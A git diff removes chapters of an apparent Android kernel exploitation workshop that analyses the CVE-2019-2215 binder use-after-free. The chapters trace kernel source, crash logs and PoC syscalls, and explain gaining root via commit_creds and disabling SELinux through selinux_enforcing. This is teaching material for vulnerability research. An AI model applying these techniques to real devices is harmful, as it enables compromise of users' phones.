.suid = GLOBAL_ROOT_UID, - .sgid = GLOBAL_ROOT_GID, - .euid = GLOBAL_ROOT_UID, - .egid = GLOBAL_ROOT_GID, - .fsuid = GLOBAL_ROOT_UID, - .fsgid = GLOBAL_ROOT_GID, - .securebits = SECUREBITS_DEFAULT, - .cap_inheritable = CAP_EMPTY_SET, - .cap_permitted = CAP_FULL_SET, - .cap_effective = CAP_FULL_SET, - .cap_bset = CAP_FULL_SET, - .user = INIT_USER, - .user_ns = &init_user_ns, - .group_info = &init_groups, -}; -``` - -Let's look at what these defines mean. - -```c -#define GLOBAL_ROOT_UID (uint32_t)0 -#define GLOBAL_ROOT_GID (uint32_t)0 -#define SECUREBITS_DEFAULT (uint32_t)0x00000000 -#define CAP_EMPTY_SET (uint64_t)0 -#define CAP_FULL_SET (uint64_t)0x3FFFFFFFFF -``` - -`init_cred` basically sets the `cred` structure as shown below. - -```c -cred->uid = 0; -cred->gid = 0; -cred->suid = 0; -cred->idid = 0; -cred->euid = 0; -cred->egid = 0; -cred->fsuid = 0; -cred->fsgid = 0; -cred->securebits = 0; -cred->cap_inheritable.cap[0] = 0; -cred->cap_inheritable.cap[1] = 0; -cred->cap_permitted.cap[0] = 0x3F; -cred->cap_permitted.cap[1] = 0xFFFFFFFF; -cred->cap_effective.cap[0] = 0x3F; -cred->cap_effective.cap[1] = 0xFFFFFFFF; -cred->cap_bset.cap[0] = 0x3F; -cred->cap_bset.cap[1] = 0xFFFFFFFF; -cred->cap_ambient.cap[0] = 0; -cred->cap_ambient.cap[1] = 0; -``` - -Let's look at the `commit_creds` function and try to understand what it does. - -```c -int commit_creds(struct cred *new) -{ - struct task_struct *task = current; - const struct cred *old = task->real_cred; - - [...] - - rcu_assign_pointer(task->real_cred, new); - rcu_assign_pointer(task->cred, new); - - [...] - - return 0; -} -``` - -`commit_creds` basically sets the `task->real_cred` and `task->cred` with the pointer to new `cred` structure. However, as we had passed `NULL` to `prepare_kernel_cred` address of `init_cred`. - -This is how we get `root` and this basically means **privilege escalation** - - -## SELinux {#selinux} - -**Security-Enhanced Linux** was developed by **National Security Agency (NSA)** using **Linux Security Modules (LSM)**. - -There are two modes of **SELinux** - -* **permissive** - permission denials are *logged* but not *enforced* -* **enforcing** - permission denials are *logged* and *enforced* - -In **Android** the default mode of **SELinux** is **enforcing** and even if we get **root**, we are subjected to **SELinux** rules. - -```bash -generic_x86_64:/ $ getenforce -Enforcing -``` - -So, we need to disable **SELinux** as well. - - -### selinux_enforcing {#selinux-enforcing} - -`selinux_enforcing` is a global variable which dictates whether **SELinux** is **enforced** or **not**. If we can figure out where `selinux_enforcing` is in memory and set it to `NULL`, then we can disable **SELinux** globally and now **SELinux** will be in **permissive** mode instead of **enforcing** mode. - - -## SecComp {#seccomp} - -**SecComp** stands for **Secure Computing** mode and is a Linux kernel feature that allows to **filter system calls**. When enabled, the process can only make **four** system calls `read()`, `write()`, `exit()`, and `sigreturn()`. - -When running the **exploit** from `adb` shell we are not subjected to **seccomp**. However, if we bundle the **exploit** in an **Android** application, we would be subjected to **seccomp**. - -In this workshop, we are not going to look at **seccomp**. diff --git a/gitbook/chapters/resources.md b/gitbook/chapters/resources.md deleted file mode 100644 index 0e04a12..0000000 --- a/gitbook/chapters/resources.md +++ /dev/null @@ -1,45 +0,0 @@ -# Resources - -## Linux Lightweight Process -* https://en.wikipedia.org/wiki/Light-weight_process -* https://medium.com/hungys-blog/linux-kernel-process-99629d91423c - - -## SELinux -* https://source.android.com/security/selinux -* https://www.redhat.com/en/topics/linux/what-is-selinux - - -## seccomp -* https://lwn.net/Articles/656307/ - - -## Building Kernels -* https://source.android.com/setup/build/building-kernels -* https://android.googlesource.com/kernel/manifest - - -## Linux Kernel Source Code Cross Referencer -* https://elixir.bootlin.com/linux/v4.14.171/source - - -## Linux Kernel Source Annotated -* http://www.bricktou.com/ - - -## CVE-2019-2215 - Bug Report -* https://groups.google.com/d/msg/syzkaller-bugs/QyXdgUhAF50/g-FXVo1OAwAJ -* https://bugs.chromium.org/p/project-zero/issues/detail?id=1942 - - -## Vectored I/O -* https://en.wikipedia.org/wiki/Vectored_I/O -* https://www.gnu.org/software/libc/manual/html_node/Scatter_002dGather.html -* http://man7.org/linux/man-pages/man2/readv.2.html - -## Exploitation -* https://www.blackhat.com/docs/eu-16/materials/eu-16-Shen-Rooting-Every-Android-From-Extension-To-Exploitation-wp.pdf -* https://googleprojectzero.blogspot.com/2019/11/bad-binder-android-in-wild-exploit.html -* https://www.youtube.com/watch?v=TAwQ4ezgEIo -* https://dayzerosec.com/posts/analyzing-androids-cve-2019-2215-dev-binder-uaf/ -* https://hernan.de/blog/2019/10/15/tailoring-cve-2019-2215-to-achieve-root/ diff --git a/gitbook/chapters/root-cause-analysis.md b/gitbook/chapters/root-cause-analysis.md deleted file mode 100644 index 5973a50..0000000 --- a/gitbook/chapters/root-cause-analysis.md +++ /dev/null @@ -1,1242 +0,0 @@ -# Root Cause Analysis - -**Root Cause Analysis (RCA)** is a very important part of **vulnerability research**. With **RCA** we can determine if a **crash** or **bug** can be **exploited**. - -**RCA** is basically reverse engineering process to understanding the code that lead to the crash. - - -## Revisiting Crash {#revisiting-crash} - -From the crash log, we already know that it's **Use after Free** vulnerability. Let's revisit the crash report and try to understand why it occurred. - -Let's strip away unwanted information and break the crash log in three parts, allocation, free and use - - -### Allocation {#revisiting-crash-allocation} - -``` -[< none >] save_stack_trace+0x16/0x18 arch/x86/kernel/stacktrace.c:59 -[< inline >] save_stack mm/kasan/common.c:76 -[< inline >] set_track mm/kasan/common.c:85 -[< none >] __kasan_kmalloc+0x133/0x1cc mm/kasan/common.c:501 -[< none >] kasan_kmalloc+0x9/0xb mm/kasan/common.c:515 -[< none >] kmem_cache_alloc_trace+0x1bd/0x26f mm/slub.c:2819 -[< inline >] kmalloc include/linux/slab.h:488 -[< inline >] kzalloc include/linux/slab.h:661 -[< none >] binder_get_thread+0x166/0x6db drivers/android/binder.c:4677 -[< none >] binder_poll+0x4c/0x1c2 drivers/android/binder.c:4805 -[< inline >] ep_item_poll fs/eventpoll.c:888 -[< inline >] ep_insert fs/eventpoll.c:1476 -[< inline >] SYSC_epoll_ctl fs/eventpoll.c:2128 -[< none >] SyS_epoll_ctl+0x1558/0x24f0 fs/eventpoll.c:2014 -[< none >] do_syscall_64+0x19e/0x225 arch/x86/entry/common.c:292 -[< none >] entry_SYSCALL_64_after_hwframe+0x3d/0xa2 arch/x86/entry/entry_64.S:233 -``` - -Here is the simplified call graph. - -

                  - Allocation Stack Trace -

                  - -Relevant source line from the PoC - -```c -epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event); -``` - - -### Free {#revisiting-crash-free} - -``` -[< none >] save_stack_trace+0x16/0x18 arch/x86/kernel/stacktrace.c:59 -[< inline >] save_stack mm/kasan/common.c:76 -[< inline >] set_track mm/kasan/common.c:85 -[< none >] __kasan_slab_free+0x18f/0x23f mm/kasan/common.c:463 -[< none >] kasan_slab_free+0xe/0x10 mm/kasan/common.c:471 -[< inline >] slab_free_hook mm/slub.c:1407 -[< inline >] slab_free_freelist_hook mm/slub.c:1458 -[< inline >] slab_free mm/slub.c:3039 -[< none >] kfree+0x193/0x5b3 mm/slub.c:3976 -[< inline >] binder_free_thread drivers/android/binder.c:4705 -[< none >] binder_thread_dec_tmpref+0x192/0x1d9 drivers/android/binder.c:2053 -[< none >] binder_thread_release+0x464/0x4bd drivers/android/binder.c:4794 -[< none >] binder_ioctl+0x48a/0x101c drivers/android/binder.c:5062 -[< none >] do_vfs_ioctl+0x608/0x106a fs/ioctl.c:46 -[< inline >] SYSC_ioctl fs/ioctl.c:701 -[< none >] SyS_ioctl+0x75/0xa4 fs/ioctl.c:692 -[< none >] do_syscall_64+0x19e/0x225 arch/x86/entry/common.c:292 -[< none >] entry_SYSCALL_64_after_hwframe+0x3d/0xa2 arch/x86/entry/entry_64.S:233 -``` - -Here is the simplified call graph. - -

                  - Free Stack Trace -

                  - -Relevant source line from the PoC - -```c -ioctl(fd, BINDER_THREAD_EXIT, NULL); -``` - -Let's look at the the `binder_free_thread` implementation in `workshop/android-4.14-dev/goldfish/drivers/android/binder.c`. - -```c -static void binder_free_thread(struct binder_thread *thread) -{ - [...] - kfree(thread); -} -``` - -We see that `binder_thread` structure is being **freed** by calling `kfree` which exactly matches the free call trace. This confirms that the **dangling** chunk is `binder_thread` structure. - -Let's see how `struct binder_thread` is defined. - -```c -struct binder_thread { - struct binder_proc *proc; - struct rb_node rb_node; - struct list_head waiting_thread_node; - int pid; - int looper; /* only modified by this thread */ - bool looper_need_return; /* can be written by other thread */ - struct binder_transaction *transaction_stack; - struct list_head todo; - bool process_todo; - struct binder_error return_error; - struct binder_error reply_error; - wait_queue_head_t wait; - struct binder_stats stats; - atomic_t tmp_ref; - bool is_dead; - struct task_struct *task; -}; -``` - - -### Use {#revisiting-crash-use} - -``` -[< none >] _raw_spin_lock_irqsave+0x3a/0x5d kernel/locking/spinlock.c:160 -[< none >] remove_wait_queue+0x27/0x122 kernel/sched/wait.c:50 - ?[< none >] fsnotify_unmount_inodes+0x1e8/0x1e8 fs/notify/fsnotify.c:99 -[< inline >] ep_remove_wait_queue fs/eventpoll.c:612 -[< none >] ep_unregister_pollwait+0x160/0x1bd fs/eventpoll.c:630 -[< none >] ep_free+0x8b/0x181 fs/eventpoll.c:847 - ?[< none >] ep_eventpoll_poll+0x228/0x228 fs/eventpoll.c:942 -[< none >] ep_eventpoll_release+0x48/0x54 fs/eventpoll.c:879 -[< none >] __fput+0x1f2/0x51d fs/file_table.c:210 -[< none >] ____fput+0x15/0x18 fs/file_table.c:244 -[< none >] task_work_run+0x127/0x154 kernel/task_work.c:113 -[< inline >] exit_task_work include/linux/task_work.h:22 -[< none >] do_exit+0x818/0x2384 kernel/exit.c:875 - ?[< none >] mm_update_next_owner+0x52f/0x52f kernel/exit.c:468 -[< none >] do_group_exit+0x12c/0x24b kernel/exit.c:978 - ?[< inline >] spin_unlock_irq include/linux/spinlock.h:367 - ?[< none >] do_group_exit+0x24b/0x24b kernel/exit.c:975 -[< none >] SYSC_exit_group+0x17/0x17 kernel/exit.c:989 -[< none >] SyS_exit_group+0x14/0x14 kernel/exit.c:987 -[< none >] do_syscall_64+0x19e/0x225 arch/x86/entry/common.c:292 -[< none >] entry_SYSCALL_64_after_hwframe+0x3d/0xa2 arch/x86/entry/entry_64.S:233 -``` - -Here is the simplified call graph. - -

                  - Free Stack Trace -

                  - -We don't see any line in the PoC which calls `SyS_exit_group`. It turns out that the **use** happens when the process exits, and eventually `exit_group` system call is called. This is when it tries to cleanup the resources and uses the **dangling** chunk erroneously. - - -## Visual Studio Code {#visual-studio-code} - -We will use **Visual Studio Code** for **Android** kernel source code **navigation**. I used this project https://github.com/amezin/vscode-linux-kernel for better **intellisense** support. - - -## Static Analysis {#static-analysis} - -We already know that `binder_thread` is the **dangling** chunk. Let's statically trace the function calls in the crashing PoC and see what's happening. - -We want to answer the following questions: - -* Why `binder_thread` structure was **allocated**? -* Why `binder_thread` structure was **freed**? -* Why the use of `binder_thread` structure happened when it's already **freed**? - - -### open {#syscall-open} - -```c -fd = open("/dev/binder", O_RDONLY); -``` - -Let's open `workshop/android-4.14-dev/goldfish/drivers/android/binder.c` and see how `open` system call is implemented. - -```c -static const struct file_operations binder_fops = { - [...] - .open = binder_open, - [...] -}; -``` - -We see that `open` system call is handled by `binder_open` function. - - -Let's follow `binder_open` function and find out what it does. - -```c -static int binder_open(struct inode *nodp, struct file *filp) -{ - struct binder_proc *proc; - [...] - proc = kzalloc(sizeof(*proc), GFP_KERNEL); - if (proc == NULL) - return -ENOMEM; - [...] - filp->private_data = proc; - [...] - return 0; -} -``` - -`binder_open` allocates `binder_proc` data structure and assigns it to the `filp->private_data`. - - -### epoll_create {#syscall-epoll-create} - -```c -epfd = epoll_create(1000); -``` - -Let's open `workshop/android-4.14-dev/goldfish/fs/eventpoll.c` and see how `epoll_create` system call is implemented. We will also follow the call graph and look into all the important functions that `epoll_create` will call. - -```c -SYSCALL_DEFINE1(epoll_create, int, size) -{ - if (size <= 0) - return -EINVAL; - - return sys_epoll_create1(0); -} -``` - -`epoll_create` checks if `size <= 0` and then calls `sys_epoll_create1`. We can see that `1000` passed as parameter does not have any specific implications. The `size` parameter should be greater than `0`. - - -Let's follow the `sys_epoll_create1` function. - -```c -SYSCALL_DEFINE1(epoll_create1, int, flags) -{ - int error, fd; - struct eventpoll *ep = NULL; - struct file *file; - [...] - error = ep_alloc(&ep); - if (error < 0) - return error; - [...] - file = anon_inode_getfile("[eventpoll]", &eventpoll_fops, ep, - O_RDWR | (flags & O_CLOEXEC)); - [...] - ep->file = file; - fd_install(fd, file); - return fd; - [...] - return error; -} -``` - -`epoll_create1` calls `ep_alloc`, sets `ep->file = file` and finally returns the **epoll** file descriptor `fd`. - - -Let's follow `ep_alloc` function and find out what it does. - -```c -static int ep_alloc(struct eventpoll **pep) -{ - int error; - struct user_struct *user; - struct eventpoll *ep; - [...] - ep = kzalloc(sizeof(*ep), GFP_KERNEL); - [...] - init_waitqueue_head(&ep->wq); - init_waitqueue_head(&ep->poll_wait); - INIT_LIST_HEAD(&ep->rdllist); - ep->rbr = RB_ROOT_CACHED; - [...] - *pep = ep; - return 0; - [...] - return error; -} -``` - -* allocates `struct eventpoll`, initializes **wait queues** `wq` and `poll_wait` members -* initializes `rbr` member which is the **red black tree** root - - -`struct eventpoll` is the main data structure used by **event polling** subsystem. Let's see how `eventpoll` structure is defined in `workshop/android-4.14-dev/goldfish/fs/eventpoll.c`. - -```c -struct eventpoll { - /* Protect the access to this structure */ - spinlock_t lock; - - /* - * This mutex is used to ensure that files are not removed - * while epoll is using them. This is held during the event - * collection loop, the file cleanup path, the epoll file exit - * code and the ctl operations. - */ - struct mutex mtx; - - /* Wait queue used by sys_epoll_wait() */ - wait_queue_head_t wq; - - /* Wait queue used by file->poll() */ - wait_queue_head_t poll_wait; - - /* List of ready file descriptors */ - struct list_head rdllist; - - /* RB tree root used to store monitored fd structs */ - struct rb_root_cached rbr; - - /* - * This is a single linked list that chains all the "struct epitem" that - * happened while transferring ready events to userspace w/out - * holding ->lock. - */ - struct epitem *ovflist; - - /* wakeup_source used when ep_scan_ready_list is running */ - struct wakeup_source *ws; - - /* The user that created the eventpoll descriptor */ - struct user_struct *user; - - struct file *file; - - /* used to optimize loop detection check */ - int visited; - struct list_head visited_list_link; - -#ifdef CONFIG_NET_RX_BUSY_POLL - /* used to track busy poll napi_id */ - unsigned int napi_id; -#endif -}; -``` - - -### epoll_ctl {#syscall-epoll-ctl} - -```c -epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event); -``` - -Let's open `workshop/android-4.14-dev/goldfish/fs/eventpoll.c` and see how `epoll_ctl` is implemented. We are passing `EPOLL_CTL_ADD` as the operation parameter. - -```c -SYSCALL_DEFINE4(epoll_ctl, int, epfd, int, op, int, fd, - struct epoll_event __user *, event) -{ - int error; - int full_check = 0; - struct fd f, tf; - struct eventpoll *ep; - struct epitem *epi; - struct epoll_event epds; - struct eventpoll *tep = NULL; - - error = -EFAULT; - if (ep_op_has_event(op) && - copy_from_user(&epds, event, sizeof(struct epoll_event))) - goto error_return; - - error = -EBADF; - f = fdget(epfd); - if (!f.file) - goto error_return; - - /* Get the "struct file *" for the target file */ - tf = fdget(fd); - if (!tf.file) - goto error_fput; - [...] - ep = f.file->private_data; - [...] - epi = ep_find(ep, tf.file, fd); - - error = -EINVAL; - switch (op) { - case EPOLL_CTL_ADD: - if (!epi) { - epds.events |= POLLERR | POLLHUP; - error = ep_insert(ep, &epds, tf.file, fd, full_check); - } else - error = -EEXIST; - [...] - [...] - } - [...] - return error; -} -``` - -* copies `epoll_event` structure from **user space** to **kernel space** -* finds the corresponding `file` pointers of `epfd` and `fd` file descriptors -* gets the pointer to `eventpoll` structure from the `private_data` member of the `file` pointer of the epoll file descriptor `epfd` -* calls `ep_find` to find the pointer to linked `epitem` structure from the **red black tree** node stored in `eventpoll` structure matching the file descriptor `fd` -* if `epitem` is not found for the corresponding `fd`, then it calls `ep_insert` function to allocate and link a `epitem` to `eventpoll` structure's `rbr` member - - -Let's see how `struct epitem` is defined. - -```c -struct epitem { - union { - /* RB tree node links this structure to the eventpoll RB tree */ - struct rb_node rbn; - /* Used to free the struct epitem */ - struct rcu_head rcu; - }; - - /* List header used to link this structure to the eventpoll ready list */ - struct list_head rdllink; - - /* - * Works together "struct eventpoll"->ovflist in keeping the - * single linked chain of items. - */ - struct epitem *next; - - /* The file descriptor information this item refers to */ - struct epoll_filefd ffd; - - /* Number of active wait queue attached to poll operations */ - int nwait; - - /* List containing poll wait queues */ - struct list_head pwqlist; - - /* The "container" of this item */ - struct eventpoll *ep; - - /* List header used to link this item to the "struct file" items list */ - struct list_head fllink; - - /* wakeup_source used when EPOLLWAKEUP is set */ - struct wakeup_source __rcu *ws; - - /* The structure that describe the interested events and the source fd */ - struct epoll_event event; -}; -``` - -Below given diagram shows how an `epitem` structure is linked to `eventpoll` structure. - -

                  - epitem eventpoll link -

                  - - -Let's follow `ep_insert` function and see what it exactly does. - -```c -static int ep_insert(struct eventpoll *ep, struct epoll_event *event, - struct file *tfile, int fd, int full_check) -{ - int error, revents, pwake = 0; - unsigned long flags; - long user_watches; - struct epitem *epi; - struct ep_pqueue epq; - [...] - if (!(epi = kmem_cache_alloc(epi_cache, GFP_KERNEL))) - return -ENOMEM; - - /* Item initialization follow here ... */ - INIT_LIST_HEAD(&epi->rdllink); - INIT_LIST_HEAD(&epi->fllink); - INIT_LIST_HEAD(&epi->pwqlist); - epi->ep = ep; - ep_set_ffd(&epi->ffd, tfile, fd); - epi->event = *event; - [...] - - /* Initialize the poll table using the queue callback */ - epq.epi = epi; - init_poll_funcptr(&epq.pt, ep_ptable_queue_proc); - [...] - revents = ep_item_poll(epi, &epq.pt); - [...] - ep_rbtree_insert(ep, epi); - [...] - return 0; - [...] - return error; -} -``` - -* allocates a temporary structure `ep_pqueue` -* allocates `epitem` structure and initializes it -* initializes `epi->pwqlist` member which is used to link the **poll wait queues** -* sets the `epitem` structure member `ffd->file = file` and `ffd->fd = fd` which is the binder's `file` structure pointer and descriptor in our case by calling `ep_set_ffd` -* sets `epq.epi` to `epi` pointer -* sets `epq.pt->_qproc` to `ep_ptable_queue_proc` **callback** address -* calls `ep_item_poll` passing `epi` and address of `epq.pt` (poll table) as arguments -* finally, links `epitem` structure to `eventpoll` structure's **red black tree** root node by calling `ep_rbtree_insert` function - - -Let's follow `ep_item_poll` and find out what it does. - -```c -static inline unsigned int ep_item_poll(struct epitem *epi, poll_table *pt) -{ - pt->_key = epi->event.events; - - return epi->ffd.file->f_op->poll(epi->ffd.file, pt) & epi->event.events; -} -``` - -* calls `poll` function in the binder's `file` structure `f_op->poll` passing binder's `file` structure pointer and `poll_table` pointer - - -> **Note:** Now, we are jumping to **binder** subsystem from **epoll** subsystem. - - -Let's open `workshop/android-4.14-dev/goldfish/drivers/android/binder.c` and see how `poll` system call is implemented. - -```c -static const struct file_operations binder_fops = { - [...] - .poll = binder_poll, - [...] -}; -``` - -We see that `poll` system call is handled by `binder_poll` function. - - -Let's follow `binder_poll` function and find out what it does. - -```c -static unsigned int binder_poll(struct file *filp, - struct poll_table_struct *wait) -{ - struct binder_proc *proc = filp->private_data; - struct binder_thread *thread = NULL; - [...] - thread = binder_get_thread(proc); - if (!thread) - return POLLERR; - [...] - poll_wait(filp, &thread->wait, wait); - [...] - return 0; -} -``` - -* gets the pointer to `binder_proc` structure from `filp->private_data` -* calls `binder_get_thread` passing `binder_proc` structure pointer -* finally calls `poll_wait` passing binder's `file` structure pointer, `&thread->wait` which is `wait_queue_head_t` pointer and `poll_table_struct` pointer - - -Let's first follow `binder_get_thread` and find out what it does. After that we will follow `poll_wait` function. - -```c -static struct binder_thread *binder_get_thread(struct binder_proc *proc) -{ - struct binder_thread *thread; - struct binder_thread *new_thread; - [...] - thread = binder_get_thread_ilocked(proc, NULL); - [...] - if (!thread) { - new_thread = kzalloc(sizeof(*thread), GFP_KERNEL); - [...] - thread = binder_get_thread_ilocked(proc, new_thread); - [...] - } - return thread; -} -``` - -* tries to get the `binder_thread` if present in `proc->threads.rb_node` by calling `binder_get_thread_ilocked` -* else it allocates a `binder_thread` structure -* finally calls `binder_get_thread_ilocked` again, which initializes the newly allocated `binder_thread` structure and link it to the `proc->threads.rb_node` member which is basically a **red black tree** node - -If you see the call graph in **[Allocation](root-cause-analysis.md#revisiting-crash-allocation)** section, you will find that this is where the `binder_thread` structure is **allocated**. - - -Now, let's follow `poll_wait` function and find out what it does. - -```c -static inline void poll_wait(struct file * filp, wait_queue_head_t * wait_address, poll_table *p) -{ - if (p && p->_qproc && wait_address) - p->_qproc(filp, wait_address, p); -} -``` - -* calls the **callback** function assigned to `p->_qproc` passing binder's `file` structure pointer, `wait_queue_head_t` pointer and `poll_table` pointer - -If you go up and see `ep_insert` function, you will see that `p->_qproc` was set to `ep_ptable_queue_proc` function's address. - - -> **Note:** Now, we are jumping back to **epoll** subsystem from **binder** subsystem. - - -Let's open `workshop/android-4.14-dev/goldfish/fs/eventpoll.c` and try to understand what `ep_ptable_queue_proc` function does. - -```c -/* - * This is the callback that is used to add our wait queue to the - * target file wakeup lists. - */ -static void ep_ptable_queue_proc(struct file *file, wait_queue_head_t *whead, - poll_table *pt) -{ - struct epitem *epi = ep_item_from_epqueue(pt); - struct eppoll_entry *pwq; - - if (epi->nwait >= 0 && (pwq = kmem_cache_alloc(pwq_cache, GFP_KERNEL))) { - init_waitqueue_func_entry(&pwq->wait, ep_poll_callback); - pwq->whead = whead; - pwq->base = epi; - if (epi->event.events & EPOLLEXCLUSIVE) - add_wait_queue_exclusive(whead, &pwq->wait); - else - add_wait_queue(whead, &pwq->wait); - list_add_tail(&pwq->llink, &epi->pwqlist); - epi->nwait++; - } else { - /* We have to signal that an error occurred */ - epi->nwait = -1; - } -} -``` - -* gets pointer to `epitem` structure from `poll_table` by calling `ep_item_from_epqueue` function -* allocates `eppoll_entry` structure and initializes it members -* sets `whead` member of `eppoll_entry` structure to the pointer to `wait_queue_head_t` structure passed by `binder_poll`, which is basically the pointer to `binder_thread->wait` -* links `whead` (`binder_thread->wait`) to `eppoll_entry->wait` by calling `add_wait_queue` -* finally `eppoll_entry->llink` is linked to `epitem->pwqlist` by calling `list_add_tail` - - -> **Note:** If you look at the code, you will notice that there are **two** places which holds the reference to `binder_thread->wait`. First reference is stored in `eppoll_entry->wait` and the second reference is stored in `eppoll_entry->whead`. - - -Let's see how `struct eppoll_entry` is defined. - -```c -struct eppoll_entry { - /* List header used to link this structure to the "struct epitem" */ - struct list_head llink; - - /* The "base" pointer is set to the container "struct epitem" */ - struct epitem *base; - - /* - * Wait queue item that will be linked to the target file wait - * queue head. - */ - wait_queue_entry_t wait; - - /* The wait queue head that linked the "wait" wait queue item */ - wait_queue_head_t *whead; -}; -``` - -Below given diagram is the simplified call graph of how `binder_thread` structure is allocated and gets linked to **epoll** subsystem. - -

                  - binder_thread eventpoll call graph -

                  - - -Below given diagram shows how `eventpoll` structure is connected with `binder_thread` structure. - -

                  - binder_thread eventpoll connection -

                  - - -### ioctl {#syscall-ioctl} - -```c -ioctl(fd, BINDER_THREAD_EXIT, NULL); -``` - -Let's open `workshop/android-4.14-dev/goldfish/drivers/android/binder.c` and see how `ioctl` system call is implemented. - -``` -static const struct file_operations binder_fops = { - [...] - .unlocked_ioctl = binder_ioctl, - .compat_ioctl = binder_ioctl, - [...] -}; -``` - -We see that `unlocked_ioctl` and `compat_ioctl` system call is handled by `binder_ioctl` function. - - -Let's follow `binder_ioctl` function and see how it handles `BINDER_THREAD_EXIT` request. - -```c -static long binder_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) -{ - int ret; - struct binder_proc *proc = filp->private_data; - struct binder_thread *thread; - unsigned int size = _IOC_SIZE(cmd); - void __user *ubuf = (void __user *)arg; - [...] - thread = binder_get_thread(proc); - [...] - switch (cmd) { - [...] - case BINDER_THREAD_EXIT: - [...] - binder_thread_release(proc, thread); - thread = NULL; - break; - [...] - default: - ret = -EINVAL; - goto err; - } - ret = 0; - [...] - return ret; -} -``` - -* gets the pointer to `binder_thread` structure from `binder_proc` structure -* calls `binder_thread_release` function passing pointers to `binder_proc` and `binder_thread` structures as the parameters - - -Let's follow `binder_thread_release` and find out what it does. - -```c -static int binder_thread_release(struct binder_proc *proc, - struct binder_thread *thread) -{ - [...] - int active_transactions = 0; - [...] - binder_thread_dec_tmpref(thread); - return active_transactions; -} -``` - - -> **Note:** Remember, we had applied a custom *patch* in this function itself to **reintroduce** the **vulnerability**. - - -* interesting part of this function is that, it calls the `binder_thread_dec_tmpref` function passing pointer to `binder_thread` structure - - -Let's follow `binder_thread_dec_tmpref` and find out what it does. - -```c -static void binder_thread_dec_tmpref(struct binder_thread *thread) -{ - [...] - if (thread->is_dead && !atomic_read(&thread->tmp_ref)) { - [...] - binder_free_thread(thread); - return; - } - [...] -} -``` - -* calls `binder_free_thread` function passing pointer to `binder_thread` structure - - -Let's follow `binder_free_thread` and find out what it does. - -```c -static void binder_free_thread(struct binder_thread *thread) -{ - [...] - kfree(thread); -} -``` - -* calls `kfree` function which frees the kernel heap chunk storing `binder_thread` structure - -If you see the call graph in **[Free](root-cause-analysis.md#revisiting-crash-free)** section, you will find that this is where the `binder_thread` structure is **freed**. - - -### ep_remove {#syscall-ep-remove} - -If you see the call graph in **[Use](root-cause-analysis.md#revisiting-crash-use)** section, you will find that `ep_unregister_pollwait` function is called when `exit_group` system call is executed. `exit_group` is usually called when the process exits. We would want to trigger the call to `ep_unregister_pollwait` at will during exploitation. - -Let's look at `workshop/android-4.14-dev/goldfish/fs/eventpoll.c` and try to figure out how we can call `ep_unregister_pollwait` function at will. Basically, we want to inspect the callers of `ep_unregister_pollwait` function. - -Looking at the code, I found two interesting callers functions `ep_remove` and `ep_free`. But `ep_remove` is a good candidate because can be called by `epoll_ctl` system call passing `EPOLL_CTL_DEL` as the operation parameter. - -```c -SYSCALL_DEFINE4(epoll_ctl, int, epfd, int, op, int, fd, - struct epoll_event __user *, event) -{ - [...] - struct eventpoll *ep; - struct epitem *epi; - [...] - error = -EINVAL; - switch (op) { - [...] - case EPOLL_CTL_DEL: - if (epi) - error = ep_remove(ep, epi); - else - error = -ENOENT; - break; - [...] - } - [...] - return error; -} -``` - -The below given line of code can trigger `ep_unregister_pollwait` function at will. - -```c -epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event); -``` - - -Let's follow `ep_remove` function find out what it does. - -```c -static int ep_remove(struct eventpoll *ep, struct epitem *epi) -{ - [...] - ep_unregister_pollwait(ep, epi); - [...] - return 0; -} -``` - -* calls `ep_unregister_pollwait` function passing pointers to `eventpoll` and `epitem` structures as the parameters - - -Let's follow `ep_unregister_pollwait` function find out what it does. - -```c -static void ep_unregister_pollwait(struct eventpoll *ep, struct epitem *epi) -{ - struct list_head *lsthead = &epi->pwqlist; - struct eppoll_entry *pwq; - - while (!list_empty(lsthead)) { - pwq = list_first_entry(lsthead, struct eppoll_entry, llink); - [...] - ep_remove_wait_queue(pwq); - [...] - } -} -``` - -* gets the **poll wait queue** `list_head` structure pointer from `epi->pwqlist`. -* gets the pointer `eppoll_entry` from the `epitem->llink` member which of type `struct list_head` -* calls `ep_remove_wait_queue` passing pointer to `eppoll_entry` as the parameter - - -Let's follow `ep_remove_wait_queue` function find out what it does. - -```c -static void ep_remove_wait_queue(struct eppoll_entry *pwq) -{ - wait_queue_head_t *whead; - [...] - whead = smp_load_acquire(&pwq->whead); - if (whead) - remove_wait_queue(whead, &pwq->wait); - [...] -} -``` - -* gets pointer to `wait_queue_head_t` from `eppoll_entry->whead` -* calls `remove_wait_queue` function passing pointers to `wait_queue_head_t` and `eppoll_entry->wait` as the parameters - - -> **Note:** `eppoll_entry->whead` and `eppoll_entry->wait` both has references to the **dangling** `binder_thread` structure. - - -Let's open `workshop/android-4.14-dev/goldfish/kernel/sched/wait.c` and follow `remove_wait_queue` function to figure out what it does. - -```c -void remove_wait_queue(struct wait_queue_head *wq_head, struct wait_queue_entry *wq_entry) -{ - unsigned long flags; - - spin_lock_irqsave(&wq_head->lock, flags); - __remove_wait_queue(wq_head, wq_entry); - spin_unlock_irqrestore(&wq_head->lock, flags); -} -``` - -* calls `spin_lock_irqsave` function passing pointer `wait_queue_head->lock` to acquire lock - - -> **Note:** If you look at stack trace in **[Use](root-cause-analysis.md#revisiting-crash-use)** section, you will see that the crash occurred because `_raw_spin_lock_irqsave` used the **dangling** chunk. This is exactly the same place where the use of the **dangling** chunk happened for the first time. Remember `wait_queue_entry` also contains the references to the **dangling** chunk. - - -* calls `__remove_wait_queue` function passing pointers to `wait_queue_head` and `wait_queue_entry` structures as the parameters - - -Let's open `workshop/android-4.14-dev/goldfish/include/linux/wait.h` and follow `__remove_wait_queue` function to figure out what it does. - -```c -static inline void -__remove_wait_queue(struct wait_queue_head *wq_head, struct wait_queue_entry *wq_entry) -{ - list_del(&wq_entry->entry); -} -``` - -* calls `list_del` function passing pointer to `wait_queue_entry->entry` which is of type `struct list_head` as the parameter - - -> **Note:** `wait_queue_head` is ignored and not used afterwards. - - -Let's open `workshop/android-4.14-dev/goldfish/include/linux/list.h` and follow `list_del` function to figure out what it does. - -```c -static inline void list_del(struct list_head *entry) -{ - __list_del_entry(entry); - [...] -} - -static inline void __list_del_entry(struct list_head *entry) -{ - [...] - __list_del(entry->prev, entry->next); -} - -static inline void __list_del(struct list_head * prev, struct list_head * next) -{ - next->prev = prev; - WRITE_ONCE(prev->next, next); -} -``` - -This is basically **unlink** operation and will write a **pointer** to `binder_thread->wait.head` 